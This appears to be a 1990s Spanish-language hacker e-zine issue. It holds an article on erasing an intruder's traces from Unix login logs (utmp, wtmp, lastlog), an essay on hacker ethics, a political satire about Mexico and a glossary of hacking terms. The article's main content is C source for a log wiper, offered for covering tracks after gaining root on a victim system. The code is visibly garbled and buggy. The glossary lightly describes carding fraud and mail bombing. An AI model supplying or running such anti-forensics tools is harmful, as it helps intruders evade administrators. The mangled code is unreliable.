------------------
( lo necesario para compilar este programa se encuentra en la pagina de
software de raregazz http://raregazz.islatortuga.com/tasm.zip )
1996 Carlos Fco. Lopez Perez , loper @ran.es --> killerbot.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Por: Guybrush ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ E-Mail: guybrush@axis.org ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ INDICE ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
0-Introduccion
1-¨Que huellas dejamos cuando trabajamos en un sistema?
2-¨Por que y cuando es necesario borrar nuestras huellas?
3-Como borrarlas
4-Despedida
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 0-INTRODUCCION ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Existen muchos documentos por ahi que explican como conseguir ser root en
ordenadores que trabajan con Unix. Como capturar el passwd (este o no shadow),
como utilizar los diccionarios, cuentas por defecto, bugs, etc. (Nota: ¨que
aun no sabes como hacer esto? ¨a que esperas para leerte mi articulo sobre
UNIX?. Lo puedes encontrar en varias revistas o puedes pedirmelo por correo).
Bien, pero, ¨que ocurre cuando por fin conseguimos la cuenta root de ese
servidor al que hemos estado intentando entrar desde hace varios meses? ¨Que
podemos hacer para conservar esa cuenta el mayor tiempo posible?
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 1-¨QUE HUELLAS DEJAMOS CUANDO TRABAJAMOS EN SISTEMA? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
todos los sistemas basados en unix guardan informacion sobre los usuarios que
se conectan, asi como las ordenes que ejecutan y en caso de ser un host remoto
tambien su direccion de dominio. estos registros son llamados 'logs'.
Pero no todos los Unix son iguales. Podemos encontrarnos con el Unix de IBM
(AIX), el Unix del Sun (SunoS o Solaris), etc. Por lo que algunos guardan los
datos sobre usuarios en directorios distintos a los demas.
Los logs mas importantes son:
utmp
----
Guarda un log de los usuarios que estan utilizando el sistema mientras estan
conectados a el.
Lo podemos encontrar en: /etc/utmp
wtmp
----
Guarda un log cada vez que un usuario se introduce o sale del sistema.
Lo podemos encontrar en: /var/adm/wtmp
lastlog
-------
Guarda un log del momento exacto en que un usuario entro por ultima vez.
Lo podemos encontrar en: /var/adm/lastlog
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 2-¨POR QUE Y CUANDO ES NECESARIO BORRAR NUESTRAS HUELLAS? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Mientras seamos un usuario sin privilegios no podremos borrar ninguno de estos
logs, ya que no tendremos permiso para ello. Pero esto tampoco nos debe
importar mucho ya que un administrador no puede saber si hoy a las 17:45 horas
ha entrado en el servidor el usuario 'pepito' o si era un hacker que ha
conseguido su cuenta. A no ser que se lo pregunte a 'pepito' y este diga: 'oh
no, pero si yo a esa hora estaba en el cine ...' @#$%& ... pero bueno, es poco
probable ya que con los pocos privilegios que puede tener un simple usuario no
podemos hacer casi nada en el sistema. Por lo que un administrador medianamen-
te bueno, cada vez que comience una sesion revisara sus logs (los del root)
para ver si hay algo anormal en su cuenta.
Imaginate que por fin consigues esa deseada cuenta root y por no borrar las
huellas, cuando vas el dia siguiente a conectarte ... 'invalid passwd' ... y
eso en el mejor de los casos, porque si no usas 'condones' (conectarte a un
sistema, de ahi a otro, ... y por fin al sistema victima) te pillaran ensegui-
da.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 3-COMO BORRARLAS ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Los ficheros 'utmp', 'wtmp' y 'lastlog', asi como los demas logs adicionales
que puedan presentar otros sistemas, no son ficheros de texto legibles dado
que son estruvturas de datos. Por lo que no podras verlas con un simple editor
de texto, pero si con estos programas:
Primer programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/***** editar el fichero 'utmp' *****/
/***** *****/
/***** Por Guybrush - guybrush@axis.org *****/
/*****************************************************************************/
/* programa ulog.c */
#include <stdio.h>
#include <utmp.h>
#define UTMP "/etc/utmp"
void main()
{
struct utmp u;
FILe *fichero;
if ((fichero = fopen(UTMP,"r")) == NULL)
{
fprintf(stderr," error : no encontrado el fichero '%s'\n",UTMP);
exit(0);
}
while (fread(&u, sizeof(u), 1, fichero))
{
printf("%d - ",u.ut_type);
printf("%d - ",u.ut_pid);
printf("%s - ",u.ut_line);
printf("%s - ",u.ut_id);
printf("%d - ",u.ut_time);
printf("%s - ",u.ut_user);
printf("%s - ",u.ut_host);
printf("%d\n",u.ut_addr);
}
fclose(fichero);
}
-------------------------- cortar por aqui -----------------------------------
Segundo programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/***** editar el fichero 'wtmp' *****/
/***** *****/
/***** Por Guybrush - guybrush@axis.org *****/
/*****************************************************************************/
/* programa wlog.c */
#include <stdio.h>
#include <utmp.h>
#define WTMP "/usr/adm/wtmp"
void main()
{
struct utmp w;
FILe *fichero;
if ((fichero = fopen(WTMP,"r")) == NULL)
{
fprintf(stderr," error : no encontrado el fichero '%s'\n",WTMP);
exit(0);
}
while (fread(&w, sizeof(w), 1, fichero))
{
printf("%d - ",w.ut_type);
printf("%d - ",w.ut_pid);
printf("%s - ",w.ut_line);
printf("%s - ",w.ut_id);
printf("%d - ",w.ut_time);
printf("%s - ",w.ut_user);
printf("%s - ",w.ut_host);
printf("%d\n",w.ut_addr);
}
fclose(fichero);
}
-------------------------- cortar por aqui -----------------------------------
Tercer programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/***** editar el fichero 'lastlog' *****/
/***** *****/
/***** Por Guybrush - guybrush@axis.org *****/
/*****************************************************************************/
/* programa llog.c */
#include <stdio.h>
#include <lastlog.h>
#include <pwd.h>
#define LASTLoG "/usr/adm/lastlog"
void main()
{
struct lastlog l;
FILe *fichero;
if ((fichero = fopen(LASTLoG,"r")) == NULL)
{
fprintf(stderr," error : no encontrado el fichero '%s'\n",LASTLoG);
exit(0);
}
while (fread(&l, sizeof(l), 1, fichero))
{
printf("%d - ",l.ll_time);
printf("%s - ",l.ll_line);
printf("%s\n",l.ll_host);
}
fclose(fichero);
}
-------------------------- cortar por aqui -----------------------------------
Con estos 3 programas te daras cuenta de como quedas registrado en el sistema.
puedes utilizarlos desde cualquier usuario aunque no seas root ya que solo
muestran los datos y no los modifican.
Ahora, si consigues ser root, deberas borrarlos. y para eso puedes utilizar
este otro programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/***** Borrar las huellas de los ficheros 'utmp', 'wtmp' y 'lastlog' *****/
/***** *****/
/***** Por Guybrush - guybrush@axis.org *****/
/*****************************************************************************/
/* programa borrar.c */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
#define UTMP "/etc/utmp" /* ruta del utmp */
#define WTMP "/usr/adm/wtmp" /* ruta del wtmp */
#define LASTLoG "/usr/adm/lastlog" /* ruta del lastlog */
/***** BoRRAR HUeLLAS De UTMP Y WTMP *****/
void borrar1(char *usuario, char *log)
{
struct utmp u; /* usamos la estructura de datos 'utmp' */
int fd;
int cambio = 0;
if ((fd = open(log,o_RDoNLY)) == 0)
{
fprintf(stderr,"error : no encontrado el fichero %s\n",log);
exit(0);
}
close(fd);
if ((fd = open(log,o_RDWR)) == 0)
{
fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);
exit(0);
}
lseek(fd, 0, SeeK_SeT);
while (read(fd, &u, sizeof(u)))
{
if (!strncmp(u.ut_user, usuario, strlen(usuario)))
{
bzero((char *)&u, sizeof(u)); /* si hay alguna referencia */
lseek(fd, -(sizeof(u)), SeeK_CUR); /* sobre el usuario elegido */
write(fd, &u, sizeof(u)); /* borra las huellas */
cambio = 1;
}
}
close(fd);
if (cambio == 0)
fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);
else
fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);
return;
}
/***** BoRRAR HUeLLAS De LASTLoG *****/
void borrar2(char *usuario, char *log)
{
struct lastlog l; /* usamos la estructura de datos 'lastlog' */
struct passwd *pwd; /* usamos la estructura de datos 'passwd' */
int fd;
int cambio = 0;
if ((fd = open(log,o_RDoNLY)) == 0)
{
fprintf(stderr,"error : no encontrado el fichero %s\n",log);
exit(0);
}
close(fd);
if ((fd = open(log,o_RDWR)) == 0)
{
fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);
exit(0);
}
lseek(fd, 0, SeeK_SeT);
if ((pwd = getpwnam(usuario)) == NULL)
{
fprintf(stderr,"error : no existe ese usuario\n");
exit(0);
}
while (read(fd, &l, sizeof(l)))
{
if (lseek(fd, (long)pwd->pw_uid*sizeof(l), SeeK_CUR))
{
bzero((char *)&l, sizeof(l)); /* si hay alguna referencia al */
write(fd, &l, sizeof(l)); /* usuario elegido, borra las */
cambio = 1; /* huellas */
}
}
close(fd);
if (cambio == 0)
fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);
else
fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);
return;
}
/***** FUNCIoN PRINCIPAL *****/
void main(int argc, char *argv[])
{
if (argc != 3)
{
fprintf(stderr, "Uso : %s <usuario> <u|w|l|t>\n");
fprintf(stderr," u = utmp\n");
fprintf(stderr," w = wtmp\n");
fprintf(stderr," l = lastlog\n");
fprintf(stderr," t = todo (los tres)\n");
exit(0);
}
if (argv[2][0] == 'l')
borrar2(argv[1], LASTLoG); /* borramos las huellas del lastlog */
if (argv[2][0] == 'u')
borrar1(argv[1], UTMP); /* borramos las huellas del utmp */
if (argv[2][0] == 'w')
borrar1(argv[1], WTMP); /* borramos las huellas del wtmp */
if (argv[2][0] == 't')
{
borrar2(argv[1], LASTLoG);
borrar1(argv[1], UTMP);
borrar1(argv[1], WTMP);
}
}
-------------------------- cortar por aqui -----------------------------------
espero que les saques provecho. ;)
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 4-DESPEDIDA ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Esto es todo por hoy. espero que te halla servido de ayuda y que me escribas
si tienes alguna duda. Tambien me gustaria que me corrigierais si es que me
he confundido en algo.
Podeis usar y distribuir estos programas pero con la condicion de que dejeis
el copyright.
Un saludo.
ú-= Guybrush =-ú
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
10-10-1997.
??????
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿²²
³ La Verdad Y La Mentira en el Mundo Del Hacker ³²²
³ - J.J.F. / HACKERS TEAM - ³²²
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ya estoy harto de que la gente me escriba o me pregunte por el irc, con
la tipica pregunta "Hola, soy nuevo en inet y quiero ser Hacker", la
verdad es que es algo patetico.
En realidad un HACKER es aquel que se esfuerza en aprender hasta donde
pueda llegar, le da igual sino le sirve para nada en su trabajo o en su
vida, la cuestion es aprende todo lo que se pueda de la informatica por
puro placer, que se enfrenta a los problemas con logica y los
descompone en problemas mas simples para hallar una solucion.
Claro que los Hackers exploran las redes, pero solo para acceder a
donde otros no llegan o no pueden, ademas del estimulo personal que
supone entrar en un sistema supuestamente seguro que un monton de
profesionales lo afirman, pero jamas para destrozar o benecifiarse
de alguna manera del sistema que explora.
Pero que esta gente diga estas cosas no es lo peor del caso, sino de
aquellos que se creen Hackers y cuando llegan estos newbies les
dicen ( porque no lo explican en detalle ) algun truco, que generalmente
es para joder el sistema y se quedan tan anchos, y luegos estos newbies
van por hay usando ese vil truco, sin saber exactamente que estan haciendo
y como les puede perjudicar a ellos mismos y al sistema, ya se creen unos
Hackers y luego pasa lo que pasa, la poli en kasa y las madres llorando,
puede que parezca muy exagerado pero estamos llegando a una situacion asi.
Solo porque a uno les digan 4 trucos mal explicados no se convierte en un
Hackers, los verdaderos Hackers no han nacido con el hack en las venas,
para ser Hackers han dedicado muchos a¤os de estudio en conocer todo
lo que pasa por sus manos, porque "los autenticos no se convierten se
hacen a si mismos".
Por ejemplo un Hacker que se precie debe saber:
- S.O. (sistemas operativos: unix y sus variantes, NT, etc...)
- Programacion ( C, asm, etc..)
- Telecomunicaciones.
- Seguridad.
- Y estar preparado para todo.
Ademas jamas para de aprender algo nuevo y siempre esta en proceso
de aprendizaje de las nuevas tecnologias que van saliendo.
- S.O. : Necesita conocer todos los que pueda, cuantos mas mejor. Para
saber moverse por el nucleo para desmontar o montar lo que
necesite.
- Programacion : Para crearse sus propias herramientas cuando una
determinada tarea lo requiera, ademas del placer
que conlleva desarrollar soft, pero no solo
desarrolar sino tb estudiar el soft de los demas.
- Telecomunicaciones : Debe saber como funciona inet tecnicamente pero
ademas tb su modem y todo lo relacionado.
- Seguridad : Cual es la seguridad, como evitarla o como ponerla :)
en los s.o., inet, etc...
- Y esperar lo inesperado, saber como moverse por todo y conocer
perfectamente donde se mete y que esta arriesgando.
Estos 2 ultimos factores para mi son importantes, porque mas de la mitad
de la gente cuando hackea o hace sus chapuzillas, no toma las medidas
oportunas ni sabe cuales son, ni nada de nada, solo porque no quiere
gastar un par de horas de su vida a recopilar info para leer y volversela
a leer, nada mejor que un buen libro sobre seguridad informatica :)
El proceso mas importante de un buen Hacker es leer todo la documentacion
tecnica que pueda, sacar sus conclusiones y realizar sus pruebas.
Pues esto esto que tenia que decir del tema y espero que haya quedado
claro el termino de Hacker y lo que conlleva.
Espero que nadie se enfade con lO que opino en este articulo porque esta
claro que es la verdad.
"LA INFORMACION A DE SER LIBRE PERO CON LOGICA"
CONDE VAMPIRO
- J.J.F. / HACKERS TEAM -
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
El departamento de ingenieria social y ciencias politicas dentro de esta
revista se engalana en presentarles el Ensayo Oficial sobre Mexico creado
para debatir y reafirmar las bases de la celebre y ya famosa frase:
" COMO MEXICO NO HAY DOS "
La ciudad de Mexico D.F. no es una metropoli moderna, bien dise¤ada y
arreglada asi pues, las ciudades dise¤adas con el futuro en mente deben
estar seguras que en eso Mexico no puede ganar.
La ciudad de Mexico D.F. cuenta con los niveles de contaminacion mas altos
del mundo y con mas autos que varias ciudades de latinoamerica unidas asi
que las ciudades con aire limpio y lluvia limpia pueden descansar ya que
Mexico en eso no les puede ganar.
La ciudad de Mexico D.F. cuenta con una escena hacker demasiado underground
debido a los riesgos que implica declararse hacker como pueden ser la perdida
de estudios y trabajo. Asi que las ciudades con una escena hacker que se
moviliza y promueve la liberacion de la informacion pueden estar seguros que
en eso Mexico no les puede ganar. [ intentaremos...eso si :-) ]
El sistema telefonico de la ciudad de Mexico es digital y moderno pero no
libre de fallas o mal funcionamiento. Si tu ciudad cuenta con un sistema
telefonico infalible descansa pues Mexico a tu ciudad en eso no puede ganar.
[ pero en monopolios telefonicos probablemente en eso si ganemos ]
Los edificios en la ciudad de Mexico carecen de automatizacion apoyada por
computadoras. Si no fuera por CEMEX ni siquiera tuvieramos una sola compa¤ia
que usara satelites y computadoras para agilizar sus proyectos pero por ser
CEMEX una empresa en manos extranjeras queda descalificada. Si tu ciudad
esta al borde de ser entregada a las computadoras puedes estar seguro que
en eso mexico no puede ganar.
PERO...
Si el sistema politico en tu ciudad esta podrido, huele a corrupcion y los
lideres son mayores de 90 a¤os o mas debes empezar a preocuparte por que en
eso Mexico SI puede ganar.
¨ Quieres razones para ver lo avanzado que esta Mexico en este aspecto ?
-¨En que pais ganan mas los policias y granaderos que los maestros de escuela?
-¨En que pais civilizado le dan mas tiempo a un pinche partido de segunda
division que a un debate politico entre dos candidatos?
-¨En donde se da el increible caso de un Presidente que viola todas sus
promesas y compromisos?
-¨En que otro pais la ciudadania sufre mas asaltos por parte de la policia que
de los delincuentes?
-¨En que pais matan impunemente a mas de 400 miembros de la oposicion y no se
castiga a nadie?
-¨En que pais se solapa que en tiempos de paz la tropa viole mujeres,
encarcele inocentes y destruya viviendas?
-¨En que pais el Presidente recicla sus promesas de campa¤a y las presenta 3
a¤os despues como un proyecto nuevo?
-¨En que pais se amenaza a la gente con una devaluacion para que voten por el
Gobierno?
-¨En que pais mandan como embajadores y representantes a los ciudadanos mas
corruptos?
-¨En donde hay un pais en el que el Gobierno usa las obras publicas para ganar
votos?
-¨En donde se encuentra un pais donde los diputados esten al servicio del
Presidente y no de quienes los eligieron?
-¨En donde se da el caso de que los bancos violen el secreto bancario por
ordenes gubernamentales?
-¨En que pais se sufre un desastroso choque entre dos trenes del transporte
colectivo (METRO) y se culpa no a un hacker, no a un empleado sino a una
computadora?
Tomando en cuenta que en paises de habla africana, indu, castellana,
portuguesa, inglesa y hasta 18 paises actualmente usando lenguas muertas no
logramos encontrar una situacion politica igual a la de Mexico hemos llegado
a la conclusion ampliamente aceptada de que:
" COMO MEXICO NO HAY DOS "...no hay tos!
* Algunos extractos del se¤or Rius. Mr.X
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
TERMINOS USADOS EN EL HACKING WORLD
Ademas de los amplios conocimientos sobre sistemas operativos, internet e
informatica en general, un hacker necesita una serie de herramientas para
poder 'trabajar'. He aqui una serie de conceptos y de herramientas necesarias
para cualquier hacker:
- Los terminos de HACKER y CRACKER ya estan muy vistos, pero aun hay mucho
ignorante que los confunde ... y digo ignorante porque esa confusion nos
afecta a muchos. Un HACKER es alguien con amplios conocimientos de infor-
matica (notese que digo 'amplios conocimientos'. No considero como hacker
a un tio que sin tener ni idea de informatica, que para el 'Unix' es una
marca de ordenadores y un 'Sniffer' es algo relacionado con la droga, se
pasa 5 o 6 horas diarias en el canal #hackers del IRC y que ha hecho buenos
amigos que le pasan logins y passwords de servidores ya hackeados).
Bueno, como iba diciendo, convertirse en hacker no es como sacarse un carnet
de conducir o algo asi. No hay una meta, no llega un momento en que ya eres
hacker y se acabo todo. Es un continuo estudio ya que todo va modernizandose.
Aparecen nuevos sistemas, nuevas versiones, ...
A diferencia de los hackers, que solo se dedican a investigar y entrar en
servidores solo para dotorear un poco, o para dejar alli su 'sello' para
que lo vea el administrador cuando entre al dia siguiente, hay dos tipos
CRACKERS: los que se saltan las barreras de proteccion (numeros de serie,
vidas infinitas - en caso ede juegos, ...) de software y los peores de
todo, los que al igual que los hackers, estudian la forma de entrar en un
ordenador (o simplemente le pasa alguien un login y un passwd en el IRC) y
entran en el con el fin de destrozarlo todo. Cabrones! Por su culpa que
hayan leyes tan duras contra los hackers y que muchos administradores
aumenten la seguridad en sus servidores....
Tambien existen los PHREACKERS, muy parecidos a los hackers, pero con
una finalidad distinta, estudiar el funcionamiento de los telefonos
(cabinas, inalambricos, moviles, ...) y en su caso llamar gratis (pero esta
no es la finalidad de todos los phreackers).
Y por ultimo, un PIRATA es alguien que hace y vende copias ilegales de
programas de software.
- LAMMER: Hay mucha gente que opina que un lammer es el que quiere llegar a
ser hacker y es aun novato. Para mi, esa persona es un 'novato' y punto.
Un lammer es el que llega y te dice: 'Quiero ser un hacker, pero no quiero
aprender sistemas operativos ni leer demasiadas cosas porque la informatica
me aburre. Dime algun login de algun sitio ...'. Esa gente solo quiere
aprovecharse de los estudios de los demas para darselas luego ellos de
super-hackers. Quieren que les digas el nombre de algun servidor que hayas
hackeado tu para luego ir ellos y destrozarlo y pegarse luego el pegote en
el IRC, fardando de lo que no son.
No se puede ir por ahi diciendo que quieres ser un hacker en 24 horas.
Tienes que leer, estudiar y navegar mucho en busca de programas y de
informacion.
Si eres un novato no tengas miedo de preguntar tus dudas. En Raregazz te
las resolveran sin llamarte lammer (si es que no lo eres :) ).
- BUGS y EXPLOITS: Los bugs son fallos en un programa o un sistema. Por
ejemplo, cuando alguien te dice que el internet explorer tiene bugs quiere
decir que hay fallos. Por ejemplo un bug seria que un programa se bloqueara,
que haga algo indebido, ... Muchos de estos bugs son aprovechados por los
hackers para entrar en sistemas.
Un exploit es un programa que aprovecha un bug. Es decir, no es siempre tan
sencillo como escribir #%&$&/(* para que el programa se cuelge. A veces es
necesario un peque¤o programa.
- SNIFFER: Es un programa que monitoriza los paquetes de datos que circulan
por la red. Mas claramente, todo lo que circula por la red va en 'paquetes
de datos' que el sniffer chequea en busca de informacion referente a logins
o password. Cada sistema debe usar un sniffer distinto. Y naturalmente que
NO puedes ponerlo en tu casa. Tu no tienes una red, por lo que los unicos
paquetes de datos (con informacion sobre login) que puedan pasar seran los
tuyos.
- PASSWORD CRACKER: En todos los ordenadores con sistemas basados en Unix se
guarda un fichero con todos los password de usuarios (naturalmente encrip-
tados) pero que cualquiera puede leer. Es imposible desencritarlos pero si
que se puede usar diccionarios para encriptar y comparar palabras con las
de ese fichero (/etc/passwd). A los programas que hacen esto se les llama
PASSWORD CRACKER (crackeadores de password).
- PORT SCANER: Es muy importante conocer el funcionamiento del 'telnet'. Con
esta utilidad puedes acceder a cualquier puerto. Pero, ¨que es un puerto?
un ordenador puede tener varios servicios disponibles: telnet, ftp, WWW, ...
pero ¨como distingue el ordenador a que servicio queremos acceder?. Por
ejemplo, podemos hacer 'telnet victima.com' o 'ftp victima.com' o
'http://victima.com'. Cada servicio accede a un puerto distinto del ordena-
dor. Por ejemplo, el telnet es el 23, el smtp (correo saliente) el 25, el
http es el 80, ...
Bueno, pues un escaneador de puertos es un programa que chequea todos los
puertos abiertos de un ordenador (que podras aprovechar tu para entrar en
el).
- BOXING: ¨Que es eso de Blue Box, Black Box, Red Box, y demas cajas de
colores? Pues simplemente son circuitos electronicos para, de una manera u
otra, llamar gratis por telefono. Debes tener en cuenta que cada pais tiene
un sistema telefonico distindo. Si eres de Espa¤a (al igual que yo), pasate
por la CPNE (Compa¤ia Phreack Nacional de Espa¤a):
http://cpne.islatortuga.com/
- WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero es muy
pesado) que realizan llamadas telefonicas en busca de modems. Recuerda que
no solo se puede hackear en Internet. Hay muchos comercios, bancos, etc que
trabajan con modems y a los que puedes acceder llamandoles por telefono (si
lo conoces, naturalmente).
- FIREWALL: Un firewall es un sistema de seguridad que tienen ciertos servido-
res para impedir el paso de ciertas personas. Para ello chequean tu IP y
segun de donde provenga te dejan o no pasar.
- NUKEAR: Eso es 'putear a alguien' ... para que todos lo entendais. Nukear es
bloquear un ordenador. Desgraciadamente hay muchos gilipollas que se dedican
a eso en los canales de IRC.
- ZAP: Zap es un programa que debido a la fama que ha cogido, se le llama
zapear a borrar las huellas en un sistema.
- MAIL BOMBER: Som bombardeadores de correo. Envian un numero determinado de
mensajes a una direccion causando un auntentico kaos a la victima. Otra
forma de bombardear a algun capullo es suscribiendole a muchos grupos (sexo,
jardineria, politica, ...).
- CARDING: Estudiar el funcionamiento de las tarjetas de credito. Aunque mucha
gente, mas que estudiar el funcionamiento, utiliza numeros y datos de alguna
tarjeta para hacer compras por la red y cargarle los gasto a algun pardillo.
- RAREGAZZ: La mejor pagina de hacking que puedas encontrar en la red. Lee sus
revistas y bajate todos los programas que aparecen en la pagina y ... feliz
hack!!!.
Y No dejes de visitar mi pagina sobre bugs ...
http://www.geocities.com/Baja/Dunes/1429/mio.htm
Unos consejos:
- Si estas en algun canal #hackers de IRC y aparece un termino que no conoces
NO preguntes en el canal :'¨ que es un @#$%&^] ?' porque esos que creen ser
superhackers y que en realidad son mas lammers que la gente del canal
#novatos, te nukearan. Puedes preguntar cosas en privado a alguien que
tengas confianza. Y recuerda, no seas lammer. Pregunta cosas RAZONABLES.
- Y otro consejo muy importante: ¨ Quieres ser un hacker de 31173 (elite) ?
Pues lee todas las revistas y bajate todas las herramientas disponibles en
la pagina. Y no dudes en preguntar lo que quieras ... te contestaran en
seguida. [ por lo menos aqui en raregazz ]
